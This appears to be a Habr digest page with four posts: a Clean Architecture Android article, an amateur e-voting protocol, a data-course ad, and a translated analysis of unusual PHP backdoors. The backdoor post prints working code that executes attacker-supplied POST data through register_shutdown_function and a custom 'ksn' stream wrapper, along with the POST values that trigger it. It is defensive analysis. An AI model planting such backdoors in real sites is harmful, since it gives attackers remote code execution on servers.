Uncle Bob в видео выступлении говорит о книге «Object-Oriented Software Engineering: A Use Case Driven Approach», которую написал Ivar Jacobson в 1992 году, и о том, как тот описывает Use Case.


Use case – это детализация, описание действия, которое может совершить пользователь системы.


Вот пример, который приводится в видео:


Пример Use Case для создания заказа

Это Use Case для создания заказа, причём выполняемый клерком.


Сперва перечислены входные данные, но не даётся никаких уточнений, что они из себя представляют. Тут это не важно.


Первый пункт – даже не часть Use Case’a, это его старт – клерк запускает команду для создания заказа с нужными данными.
Далее шаги:


  • Система валидирует данные. Не оговаривается как.
  • Система создает заказ и id заказа. Подразумевается использование БД, но это не важно пока, не уточняется. Как-то создает и всё.
  • Система доставляет id заказа клерку. Не уточняется как.
    Легко представить, что id возвращается не клерку, а, например, выводится на страницу сайта. То есть Use Case никак не зависит от деталей реализации.

Ivar Jacobson предложил реализовать этот Use Case в объекте, который назвал ControlObject.
Но Uncle Bob решил, что это плохая идея, так как путается с Controller из MVC и стал называть такой объект Interactor. И он говорит, что мог бы назвать его UseCase.
Это можно посмотреть примерно в этом моменте видео.


Там же он говорит, что Interactor реализует use case и имеет метод для запуска execute() и получается, что это паттерн Команда. Интересно.


Вернемся к нашим заблуждениям.


Когда кто-то говорит, что у Interactor’a нет четкого определения – он не прав. Определение есть и оно вполне четкое. Выше я привел несколько источников.


Многим нравится объединять Interactor’ы в один общий с набором методов, реализующих use case’ы.
Если вам сильно не нравятся отдельные классы, можете так делать, это ваше решение. Я лично за отдельные Interactor’ы, так как это даёт больше гибкости.


А вот давать определение: «Интерактор – это набор UseCase’ов», – вот это уже плохо. А такое определение бытует.
Оно ошибочно с точки зрения оригинального толкования термина и вводит начинающих в большие заблуждения, когда в коде получается одновременно есть и UseCase классы и Interactor классы, хотя всё это одно и то же.


Я призываю не вводить друг друга в заблуждения и использовать названия Interactor и UseCase, не меняя их изначальный смысл: Interactor/UseCase – объект, реализующий use case (сценарий использования).


За примером того, чем плохо, когда одно название толкуется по-разному, далеко ходить не надо, такой пример рядом – паттерн Repository.


Доступ к данным


Для доступа к данным удобно использовать какой-либо паттерн, позволяющий скрыть процесс их получения. Uncle Bob в своей схеме использует Gateway, но сейчас куда сильнее распространен Repository.


Repository


А что из себя представляет паттерн Repository?
Вот тут и возникает проблема, потому что оригинальное определение и то, как мы понимаем репозиторий сейчас (и как его описывает Fernando Cejas в своей статье), фундаментально различаются.


В оригинале Repository инкапсулирует набор сохраненных объектов в более объектно-ориентированном виде. В нем собран код, создающий запросы, который помогает минимизировать дублирование запросов.


Но в Android-сообществе куда более распространено определение Repository как объекта, предоставляющего доступ к данным с возможностью выбора источника данных в зависимости от условий.


Подробнее об этом можно прочесть в статье Hannes Dorfmann’а.


Gateway


Сначала я тоже начал использовать Repository, но воспринимая слово «репозиторий» в значении хранилища, мне не нравилось наличие там методов для работы с сервером типа login() (да, работа с сервером тоже идет через Repository, ведь в конце концов для приложения сервер – это та же база данных, только расположенная удаленно).


Я начал искать альтернативное название и узнал, что многие используют Gateway – слово более подходящее, на мой вкус. А сам паттерн Gateway по сути представляет собой разновидность фасада, где мы прячем сложное API за простыми методами. Он в оригинале тоже не предусматривает выбор источников данных, но все же ближе к тому, как используем мы.


А в обсуждениях все равно приходится использовать слово «репозиторий», всем так проще.


Доступ к Repository/Gateway только через Interactor?


Многие настаивают, что это единственный правильный способ. И они правы!
В идеале использовать Repository нужно только через Interactor.


Но я не вижу ничего страшного, чтобы в простых случаях, когда не нужно никакой логики обработки данных, вызывать Repository из Presenter’a, минуя Interactor.
Repository и презентер находятся на одном слое, Dependency Rule не запрещает нам использовать Repository напрямую. Единственное но – возможное добавления логики в Interactor в будущем. Но добавить Interactor, когда понадобится, не сложно, а иметь множество proxy-interactor’ов, просто прокидывающих вызов в репозиторий, не всегда хочется.


Повторюсь, я считаю, что в идеале надо делать запросы через Interactor, но также считаю, что в небольших проектах, где вероятность добавления логики в Interactor ничтожно мала, можно этим правилом поступиться. В качестве компромисса с собой.


Заблуждение: Обязательность маппинга между слоями


Некоторые утверждают, что маппить данные обязательно между всеми слоями. Но это может породить большое количество дублирующихся представлений одних и тех же данных.


А можно использовать DTO из слоя Entities везде во внешних слоях. Конечно, если те могут его использовать. Нарушения Dependency Rule тут нет.


Какое решение выбрать – сильно зависит от предпочтений и от проекта. В каждом варианте есть свои плюсы и минусы.


Маппинг DTO на каждом слое:
+Изменение данных в одном слое не затрагивает другой слой;
+Аннотации, нужные для какой-то библиотеки не попадут в другие слои;
-Может быть много дублирования;
-При изменении данных все равно приходится менять маппер.


Использование DTO из слоя Enitities:
+Нет дублирования кода;
+Меньше работы;
-Присутствие аннотаций, нужных для внешних библиотек на внутреннем слое;
-При изменении этого DTO, возможно придется менять код в других слоях.


Хорошее рассуждение есть вот по этой ссылке.


С выводами автора ответа я полностью согласен:
Если у вас сложное приложение с логикой бизнеса и логикой приложения, и/или разные люди работают над разными слоями, то лучше разделять данные между слоями (и маппить их). Также это стоит делать, если серверное API корявое.
Но если вы работаете над проектом один, и это простое приложение, то
не усложняйте лишним маппингом.


Заблуждение: маппинг в Interactor’e


Да, такое заблуждение существует. Развеять его несложно, приведя фразу из оригинальной cтатьи:
So when we pass data across a boundary, it is always in the form that is most convenient for the inner circle.
(Когда мы передаем данные между слоями, они всегда в форме более удобной для внутреннего слоя)


Поэтому в Interactor данные должны попадать уже в нужном ему виде.
Маппинг происходит в слое Interface Adapters, то есть в Presenter и Repository.


А где раскладывать объекты?


С сервера нам приходят данные в разном виде. И иногда API навязывает нам странные вещи. Например, в ответ на login() может прийти объект Profile и объект OrderState. И, конечно же, мы хотим сохранить эти объекты в разных Repository.


Так где же нам разобрать LoginResponse и разложить Profile и OrderState по нужным репозиториям, в Interactor’e или в Repository?


Многие делают это в Interactor’e. Так проще, т.к. не надо иметь зависимости между репозиториями и разрывать иногда возникающую кроссылочность.


Но я делаю это в Repository. По двум причинам:


  • Если мы делаем это в Interactor’e, значит мы должны передать ему LoginResponse в каком-то виде. Но тогда, чтобы не нарушать Dependency Rule, LoginResponse должен находиться в слое Interactor’a (UseCases) или Entities. А ему там не место, ведь он им кроме как для раскладывания ни для чего больше не нужен.
  • Раскладывание данных – не дело для use case. Мы же не станем писать пункт в описании действия доступного пользователю: «Получить данные, разложить данные». Скорее мы напишем просто: «Получить нужные данные»,– и всё.

Если вам удобно делать это в Interactor, то делайте, но считайте это компромиссом.


Можно ли объединить Interactor и Repository?


Некоторым нравится объединять Interactor и Repository. В основном это вызвано желанием избежать решения проблемы, описанной в пункте «Доступ к Repository/Gateway только через Interactor?».


Но в оригинале Clean Architecture эти сущности не смешиваются.
И на это пара веских причин:


  • Они на разных слоях.
  • Они выполняют различные функции.

А вообще, как показывает практика, в этом ничего страшного нет. Пробуйте и смотрите, особенно если у вас небольшой проект. Хотя я рекомендую разделять эти сущности.


RxJava в Clean Architecture


Уже становится сложным представить современное Android-приложение без RxJava. Поэтому не удивительно, что вторая в серии статья Fernando Cejas была про то, как он добавил RxJava в Clean Architecture.


Я не стану пересказывать статью, но хочу отметить, что, наверное, главным плюсом является возможность избавиться от интерфейсов Boundaries (как способа обеспечить выполнение Dependency Rule) в пользу общих Observable и Subscriber.


Правда есть люди, которых смущает присутствие RxJava во всех слоях, и даже в самых внутренних. Ведь это сторонняя библиотека, а убрать зависимость на всё внешнее – один из основных посылов Clean Architecture.


Но можно сказать, что RxJava негласно уже стала частью языка. Да и в Java 9 уже добавили util.concurrent.Flow, реализацию спецификации Reactive Streams, которую реализует также и RxJava2. Так что не стоит нервничать из-за RxJava, пора принять ее как часть языка и наслаждаться.


Заблуждение: Что лучше Clean Architecture или MVP?


Смешно, да? А некоторые спрашивают такое в чатах.
Быстро поясню:


  • Архитектура затрагивает всё ваше приложение. И Clean – не исключение.
  • А презентационные паттерны, например MVP, затрагивают лишь часть, отвечающую за отображение и взаимодействие с UI. Чтобы лучше понять эти паттерны, я рекомендую почитать статью моего коллеги dmdev.

Заблуждение: Clean Architecture в первых проектах


В последнее время архитектура приложений на слуху. Даже Google решили выпустить свои Architecture Components.


Но этот хайп заставляет молодых разработчиков пытаться затянуть какую-нибудь архитектуру в первые же свои приложения. А это чаще всего плохая идея. Так как на раннем этапе куда полезнее вникнуть в другие вещи.


Конечно, если вам все понятно и есть на это время – то супер. Но если сложно, то не надо себя мучить, делайте проще, набирайтесь опыта. А применять архитектуру начнете позже, само придет.


Лучше красивый, хорошо работающий код, чем архитектурное спагетти с соусом из недопонимания.


Фффух!


Статья получилась немаленькой. Надеюсь она будет многим полезна и поможет лучше разобраться в теме. Используйте Clean Architecture, следуйте правилам, но не забывайте, что «все мы пираты по натуре»!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335382/


[Из песочницы] Протокол электронного голосования: мой вариант

Пятница, 11 Августа 2017 г. 10:37 + в цитатник
Наблюдение за выборами в различных странах, осложнёнными различными скандалами вокруг подтасовок, каждый раз заставляет задуматься: почему столь важное событие, легитимность которого столь необходимо защитить, использует механизмы защиты многовековой давности? Особенно это странно, учитывая то, что схему для голосования, пусть и далеко не идеальную, но значительно лучшую, чем текущая, может придумать даже человек, разбирающийся в криптографии на начальном уровне. Так уж совпало, что я отношу себя именно к таким людям, поэтому я подумал: почему бы не попробовать?

На Хабре уже публиковался ряд статей о электронных выборах (раз, два, три), однако я не нашёл проработанного и отвечающего основным требованиям протокола. Так что встречайте: мой вариант протокола электронного голосования.

Дисклеймер
Автор не является профессионалом в криптографии и математике, поэтому указанная схема не претендует на безошибочность или глубокую проработанность.
Схема получилась довольно несложной, так что весьма вероятно, что я изобрёл велосипед.

Требования к системе


Что же мы хотим получить на выходе? Я сформулировал следующие требования:

  1. Возможность независимого контроля;
  2. Стойкость к подтасовкам, со стороны избиркома, избирателей и третьих лиц
  3. Невозможность узнать, как проголосовал конкретный избиратель

Tl;dr: краткое описание протокола


  1. Избиратель регистрируется в избиркоме, предоставляя свои личные данные, маскированные ключ голосования и ключ проверки. Избирком подписывает маскированный ключ голосования;
  2. Избиратель демаскирует его и получает подписанный ключ голосования, создаёт на его основе анонимный голос и публикует его;
  3. Каждому голосу подбирается проверяющий из числа избирателей. Владелец голоса отсылает свои личные данные проверяющему с помощью его публичного ключа. Проверяющий проверяет, что голос соответствует реальному человеку.

Подробное описание протокола


В протоколе я использовал всего 2 криптографических примитива: ассиметричное шифрование и алгоритм слепой подписи. Естественно, операции шифрования и маскировки должны быть коммутативны друг относительно друга.

Примечание: операция хеширования при подписывании, если она требуется, будет опускаться.

Список обозначений
$e$ — ключ шифрования;
$d$ – ключ дешифрования;
$m$ – маскирующий множитель;
$E_k$ – шифрование ключом k;
$D_k$ – дешифрование ключом k;
$M_m$ – маскировка множителем m;
$N_m$ – демаскировка множителем m;

$i$ – информация о человеке;
$c$ – выбор;
$K$ – контракт;
$V$ – голос;
$I$ – информация для проверки

0. Исходные данные


Избиратель:


$e_{личный}$ — ключ шифрования (закрытый) личной ЭЦП избирателя;
$e_{голосования}$, $d_{голосования}$ — ключи шифрования и дешифрования. Создаются избирателем для конкретного голосования;
$m$ — маскирующий множитель. Создаётся избирателем для конкретного голосования;
$e_{проверочный}$, $d_{проверочный}$ — пара ключей для этапа проверки. Создаётся избирателем для конкретного голосования.

Публичный репозиторий личных данных:


Для каждого гражданина хранится следующая информация:
$i$информация об избирателе: ФИО, год рождения, адрес прописка и т. д.;$d_{личный}$ — публичный ключ личной ЭЦП;
$E_{e_{\Large государственный}}(i + d_{личный}))$ — государственная подпись, удостоверяющая верность данных.

Так же в репозитории хранятся:
$d_{государственный}$ — публичный ключ государства;
$d_{избиркома}$ — публичный ключ избиркома.

Государство:


$e_{государственный}$ — приватный ключ государства.

Избирком:


$e_{избиркома}$ — приватный ключ избиркома.

Примечание: я использовал допущение, что на момент начала голосования информация в репозитории верна: каждому человеку взаимно однозначно соответствует ключ ЭЦП, там нет «мёртвых душ». Механизмы проверки этой информации я рассматривать не буду: мне кажется, они должны быть скорее административными, чем математическими. Также информация предполагается неизменяемой в течение всего голосования.

1. Регистрация


Каждый избиратель предъявляет свои данные избиркому. Он проверяет, что избиратель ещё не зарегистрирован и имеет избирательное право. После проверки комиссия вместе с избирателем создаёт то, что я буду далее называть контрактом.

Контракт содержит следующие данные:
$i$ — идентификационные данные избирателя
$M_m(d_{голосования})$ — замаскированный секретным множителем избирателя ключ дешифрования для голосования
$M_m(e_{проверочный})$ — замаскированный секретным множителем избирателя ключ шифрования для проверки
$E_{е_{\Large избиркома}}(M_m(d_{голосования}))$ — замаскированный секретным множителем избирателя ключ дешифрования для голосования, подписанный избиркомом

$K_1 = i + M_m(d_{голосования}) + M_m(e_{проверочный}) + E_{е_{\Large избиркома}}(M_m(d_{голосования}))$


Эта информация подписывается как избиркомом, так и избирателем:

$K = K_1 + E_{e_{\Large личный}}(K_1) + E_{e_{\Large избиркома}}(K_1)$


Все контракты публикуется избиркомом.

На данном этапе предотвращаются следующие атаки:

  • Избирком откажется публиковать контракт. В таком случае, избиратель сможет доказать его существование, т.к. он подписан избиркомом;
  • Избиратель попытается зарегистрироваться ещё раз. Избирком может доказать, что избиратель уже регистрировался с помощью его подписи;
  • Избирком зарегистрирует несуществующих людей. В таком случае любой наблюдатель сможет доказать это, показав, что из данных нет в репозитории личных данных;
  • Избирком не может зарегистрировать реальных людей без их присутствия, т.к. не обладает их приватным ключом $e_{личный}$

2. Голосование


Избиратель демаскирует подписанный ключ для голосования:

$N_m(E_{е_{избиркома}}(M_m(d_{голосования}))) = E_{е_{\Large избиркома}}(d_{голосования})$



И создаёт не связанный с его личностью голос:

$V = d_{голосования} + E_{е_{\Large избиркома}}(d_{голосования}) + e_{проверочный} + с + E_{е_{\Large голосования}}(с)$


где $c$ — выбор кандидата.

Избиратель анонимно отправляет голос в избирком. Избирком публикует его в открытом доступе и возвращает в качестве доказательства приёма $E_{е_{\Large избиркома}}(V)$.

3. Проверка


К сожалению, на прошлом этапе избирком мог создать сколько угодно голосов, не связанных с реальными личностями, поэтому необходима проверка каждого голоса. Кому поручить проверку? Я считаю, что лучше всего обратиться к принципам демархии и поручить проверку случайному избирателю. Можно придумать бесконечное количество схем распределения пар проверяющий-проверяемый на множестве голосов, но мне кажется оптимальным следующий: разбить множество на пары и назначить их проверяющими друг для друга. Таким образом разгласивший информацию проверяющий может быть привлечён к ответственности проверяемым. Какая бы схема не использовалась, алгоритм её формирования должен быть опубликован до начала регистрации, и зависеть от ключа, неизвестного до окончания регистрации. Например, ключ можно генерировать из курсов валют, или публично и совместно кандидатами (например, с помощью лототрона). Если проигнорировать это условие, избирком сможет после окончания регистрации найти и добавить в список такое множество фальшивых голосов, что все они или большинство их будет проверяющими друг для друга.

Итак, ключ сгенерирован и опубликован. Теперь каждый избиратель должен найти своего проверяющего, получить из базы голосов его публичный проверочный ключ $e_{проверочный}$, сгенерировать проверочную информацию

$I = V + E_{е_{\Large проверочный\ проверяющего}}(i + m + E_{e_{\Large личный}}(i + m))$


и анонимно отправить её в избирком. Избирком публикует её в открытом доступе и возвращает в качестве доказательства приёма $E_{е_{\Large избиркома}}(I)$.

Проверяющий находит $I$ проверяемого в базе по $V$, дешифрует $E_{е_{\Large проверочный}}(i + m + E_{e_{\Large личный}}(i + m))$ с помощью своего $d_{проверочный}$, с помощью $m$ демаскирует $M_m(d_{голосования})$ и $M_m(e_{проверочный})$ и проверяет что:

  • $i$ есть в базе $i$ и $K$;
  • подпись $E_{e_{\Large личный}}(i + m)$ валидна;
  • $d_{голосования}$ совпадает с хранящимся в $K$;
  • $e_{проверочный}$ совпадает с хранящимся в $K$.

Предотвращаются следующие атаки:

  • В случае, если проверяемый не предоставляет $I$, его голос не учитывается;
  • Если проверяемый предоставляет ложную информацию — проверяющий сможет доказать подлог, опубликовав свой $d_{проверочный}$;
  • Проверяющий не может опубликовать личные данные проверяемого, т.к. проверяемый так же имеет данные проверяющего и сможет привлечь его к ответственности;
  • Избирком не может создать голоса, не связанные с реальной личностью;
  • Проверяемый не мог подменить ключи, заявленные в контракте;
  • Избиратель не может проголосовать дважды, т.к. имеет на руках только один подписанный избиркомом ключ;
  • Избирком не может подменить $c$, т.к. не обладает $e_{голосования}$.

Результаты


Недостатки протокола:

  • К сожалению, полной анонимности достичь не удалось: один случайный избиратель узнает, за кого вы проголосовали;
  • Протокол не защищает от покупки голоса: избиратель может доказать, что голосовал именно так, как заявлял;
  • Протокол неудобен для использования для не имеющих доступа к интернету людей: минимум 2 раза требует подключения к интернету (вероятно, в избирательном участке). Более того, избирательный участок может отследить голос и деанонимизировать избирателя. Вероятно, можно решить первую проблему, разрешив избирателю отказаться от роли проверяющего и добавив признак этого в контракт и голос. Недостающие проверки будут распределены между оставшимися избирателями;
  • Протокол не защищает от следующей проблемы: избирком может просто отказаться принимать «неправильный» голос. В качестве решения можно использовать независимую площадку (например, соцсеть), приравняв публикацию голоса в ней к отсылке его в избирком.

Также, возможно, этап проверки можно упростить и сделать более анонимным, используя доказательства с нулевым разглашением. К сожалению, я пока не знаю, как это сделать и можно ли.

Если вы знаете, пишите в комментариях. Также пишите, если знаете, как улучшить протокол, нашли ошибку или уязвимость, и иную конструктивную критику.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335398/


Метки:  

Школа Данных: хорошее мы сделали еще лучше

Пятница, 11 Августа 2017 г. 10:35 + в цитатник
image

Привет, Хабр! Надеемся, этим летом не смотря на плохую погоду Вам удалось отдохнуть. Близится осень — самое время поучиться. С учетом предыдущих курсов — мы сильно обновили нашу программу — добавили множество практических занятий, больше говорим про практические кейсы. В этом посте хотелось бы подробно рассказать про все нововведения. Для тех, у кого мало времени:

  • Снизилась цена
  • 8 дополнительных практических семинаров
  • Дополнительные занятия про бизнес
  • Занятия по Deep Learning
  • Доступно удаленное обучение
  • Плюс 2 занятия в Вводном курсе

Теперь обо всем по-порядку.

8 дополнительных практических семинаров


Чтобы наши слушатели могли еще больше погрузиться в детали разработки алгоритмов — мы добавили 8 дополнительных семинаров, на которых «от и до» будут разбираться целиком практические задачи. Раньше на наших курсах некоторые слушатели не успевали делать домашние задания, т.к. программа очень насыщенная и сложная. Теперь им никуда не отвертеться — будет еще больше задач и практики=)

Дополнительные занятия про бизнес


Как мы уже писали ранее, сейчас на рынке очень много курсов, в которых речь идет про аналитику и машинное обучение, про технические ограничения, разработку и тестирование алгоритмов. НО мало где обсуждаются вопросы, связанные с оценкой экономической эффективности этих алгоритмов, а также процессу внедрения их «в прод». Именно на этом с основном, помимо формирования технических навыков, основано наше обучение в школе — мы учим не просто аналитике (этому вы можете научиться при большом желании и без нас), а именно ответу на вопросы бизнеса. Теперь мы добавили еще больше занятий, посвещенных продуктовой аналитике и оценке экономического эффекта и внедрению «в прод» — такого Вы на курсере не найдете)

Deep Learning


В связи с развитием современных подходов к анализу изображений и видео мы добавили занятия про Deep Learning — на нем мы не будем глубоко погражаться в технические детали, потому что понимаем, что скорее всего на работе вряд ли Вам это в ближайшей перспективе пригодится, но полезно знать подходы к современным алгоритмам анализа таких сложных обьектов, как изображения, видео и тексты.

Онлайн-обучение


Многие сожалели о том, что на наших занятиях нельзя заниматься удаленно — теперь занятия доступны в режиме онлайн. Это не освобождает Вас от практических занятий и домашних заданий. Разумеется, занятия в классе более продуктивны и мотивируют человека работать, но, порой, в силу разных на то причин, бывает удобно присутствовать удаленно, особенно если это лекция

Скидка 10%


Несмотря на то, что количество занятий и продолжительность обучения увеличилась — до 31 августа слушателям доступна скидка 10% на курс. Итого, на сегодняшний день курс Школы Данных становится одним из лучших по соотношению цена-качество (по крайней мере мы стремились так делать)

Плюс 2 занятия в Вводном курсе


Для тех, кто еще только только начинает изучение анализа данных и хочет подтянуть свои математические навыки и обзорно пройтись по математической составляющей анализа данных у нас хорошая новость — теперь в наш вводный курс мы добавили 2 дополнительных занятия!

Напомним, что если Вас интересует чисто изучение машинного обучения, различных математических подходов и Вы не торопитесь это применять в реальных бизнес-задачах — для Вас доступно большое количество курсов на платформах Coursera, Edx и многих других. После которых Вы можете заняться решением задач на Kaggle.

Но наш опыт показывает, что даже участие и успешное выступление в соревнованиях Kaggle не помогают при решении индустриальных задач (к похожему заключению пришли и любители соревнований по спортивному программированию – участие в соревнованиях типа ACM имеет мало общего с индустриальной разработкой ПО). Более того, данный опыт приобретается лишь методом проб и ошибок и никогда не будет описан в книгах – даже мы на своих лекциях рассказываем не все тонкости, которые применили на практике.

Помимо обновления нашего основного курса мы также датах начала наших курсов:


До встречи в Школе Данных!)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335394/


[Перевод] Распознать и обезвредить. Поиск неортодоксальных бэкдоров

Пятница, 11 Августа 2017 г. 10:14 + в цитатник
Согласно нашим подсчетам, в 72% зараженных сайтов использованы программы скрытого удаленного администрирования — бэкдоры. С их помощью мошенники получают удаленный доступ к вашему сайту, и понятное дело, чем это грозит владельцу: получение и передачи конфиденциальных данных пользователей, запуск вредоносных программ, уничтожения информации и тд.



Время от времени приходится сталкиваться с уникальными бэкдорами, которые не включают обычные функции PHP, такие как eval, create_function, preg_replace, assert, base64_decode и т.п.

Такие бэкдоры часто выглядят как исходный код без какой-либо обфускаций, нет зашифрованных строк, конкатенации строк, форматирования кода программы, изменения его структуры. Однако эти бэкдоры по-прежнему позволяют злоумышленнику запускать на вашем сервере произвольный код.

Бэкдор и Shutdown Function


Давайте начнем с простого. Комментарий в файле говорит, что это @package win.error.Libraries с функцией:

function win() 
 { register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }


В этом случае $ _POST мы рассматриваем как нечто подозрительное. Но действительно ли это злонамереннй код?

register_shutdown_function регистрирует функцию, которая выполнится по завершении работы скрипта. Потому, независимо от кода, который вы видите в скрипте, после его завершения будет выполнена функция обратного вызова из функции register_shutdown_function.

Функция, выполняемая после скрипта, будет выглядеть так:

$_POST['d']('', $_POST['f']($_POST['c']))

В любом случае, код выглядит загадочным. Взглянем на него глазами хакера и предположим, что им был активирован скрипт со следующими параметрами POST:

d = create_function
е = base64_decode
с = some_base64_encoded_malicious_PHP_code

Получаем следующее:

create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))

Теперь это выглядит как обычный бэкдор. Этот код не требует дополнительного вызова, так как register_shutdown_function регистрирует функцию обратного вызова, которая автоматом выполнится после завершения работы скрипта.

Бэкдор и Stream Wrapper


Теперь немного усложним задание по распознаванию бэкдоров.

Перед нами комментарий — @package Stream.ksn.Libraries, а значит, файл содержит класс Stream и функцию для работы с потоками stream_wrapper_register, которая регистрирует обертку по ksn протоколу.

class Stream 
{ 
   function stream_open($path, $mode, $options, &$opened_path) 
   { 
       $url = parse_url($path); 
       $f = $_POST['d']('', $url["host"]);
       $f(); 
       return true; 
    } 
} 
stream_wrapper_register("ksn", "Stream"); 

// Register connect the library Stream 
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

А теперь, по порядку. Для владельцев сайта и некоторых вебмастеров этот код выглядит вполне законно — типичные файлы в системах управления контентом или сторонних плагинах — возможно, не совсем понятно за чем он и что делает, но если есть — видимо нужен и полезен. А кто-нибудь знает, что такое ksn потоки?

Но погодите — мы видим, что в коде присутствуют POST-данные. А вот это уже вызывает подозрение, так как параметры POST могут контролироваться злоумышленниками. Пока не совсем ясно, какие данные POST используются в этом коде. Поиграем в криптографов и используем технику декодирования, заменим буквы в фразе.

Начнем с этой части кода из функции stream_open:

$f = $_POST['d']('', $url["host"]);

Подозрительно, когда параметр POST используется как имя функции. Код предполагает, что значение $ _POST ['d'] может быть create_function. Если это так, то $url [«host»] содержит какой-то исполняемый код, но переменная $ url разбирает URL и возвращает его компоненты с использованием стандартной функции PHP parse_url. Это означает, что $url [«host»] — это только часть хост-часть URL пути.

Сомневаюемся, что доменное имя может содержать исполняемый PHP-код… верно?

Давайте проверим, откуда мы получаем параметр $path в function stream_open: по идее он будет содержать разобраный URL-адрес, полученный при использовании функции parse_url. Чтобы выяснить это, рассмотрим эту часть кода:

stream_wrapper_register("ksn", "Stream");

Функция stream_wrapper_register регистрирует протокол ksn и класс Stream, который будет работать с этим протоколом. Класс Stream следует условию прототипа streamWrapper, а именно streamWrapper::stream_open — открывает файл или URL, и будет вызваться сразу же после инициализации протокола.

stream_open должен следовать описанию, где $path — это URL переданное функции fopen(), которая закрепляет именованный ресурс, указанный в аргументе filename, за потоком:

public bool streamWrapper::stream_open ( string $path , string $mode ,
 int $options , string &$opened_path )

В нашем случае fopen открывает URL-адрес ksn: //:

$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

В итоге, $path получается строка: 'ksn: //'.$_POST [' f '] ($ _POST [' c ']),'

Это создаст URL, в котором часть хоста — исполняемый зловредный PHP код.

Можно ли создать доменное имя или IP-адрес, который будет в действительности полноценным PHP-кодом для атаки веб-сайтов? Функция parse_url не проверяет URL-адреса на корректность, а просто разбивает их на части. Все от: // до первой косой черты (/) или двоеточия (:) считается основной частью URL адреса.

Например, если вы задаете parse_url function: ksn: // eval (base64_decode ($ _POST [«code»])); возвращена будет основная часть URL: eval (base64_decode ($ _ POST [«code»]));

Следуя логике бэкдора, получим следующие параметры POST:

е = base64_decode
с = some_base64_encoded_malicious_PHP_code

В этом случае формулировка fopen выглядит так:

$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');

Теперь, вернемся к stream_open function, это будет последним фрагментом головоломки. Теперь известно, какой URL-адрес можно передать файлу функции fopen:

$f = $_POST['d']('', $url["host"]);

И брюки превращаются, превращаются брюки — в элегантную строку:

$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));

Следующая строка просто выполняет бэкдор-код:

$f();

Другими словами, все, что требуется для выполнения бэкдор-кода, — это вызвать функцию fopen () с созданным URL-адресом ksn: //.

Выше был показан пример, как злоумышленники могут использовать менее известные функции PHP для создания уязвимостей. Учитывая, что на типичном веб-сайте есть тысячи PHP-файлов, вряд ли можно тщательно проверить каждый файл. Потому поиск вредоносного ПО на сайте — задача не совсем простая. Нельзя полагаться лишь на ручную проверку кода и простые скрипты, которые сканируют известные шаблоны вредоносных программ.

На правах рекламы. Акция! Только сейчас получите до 4-х месяцев бесплатного пользования VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от VPS (KVM) — E5-2650v4 (6 Cores) / 10GB DDR4 / 240GB SSD или 4TB HDD / 1Gbps 10TB — $29 / месяц и выше, доступны варианты с RAID1 и RAID10), полноценным аналогом выделенных серверов, при заказе на срок 1-12 месяцев, условия акции здесь, cуществующие абоненты могут получить 2 месяца бонусом!

Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335392/


Метки:  

Поиск сообщений в rss_rss_hh_full
Страницы: 1824 ... 1474 1473 [1472] 1471 1470 ..
.. 1 Календарь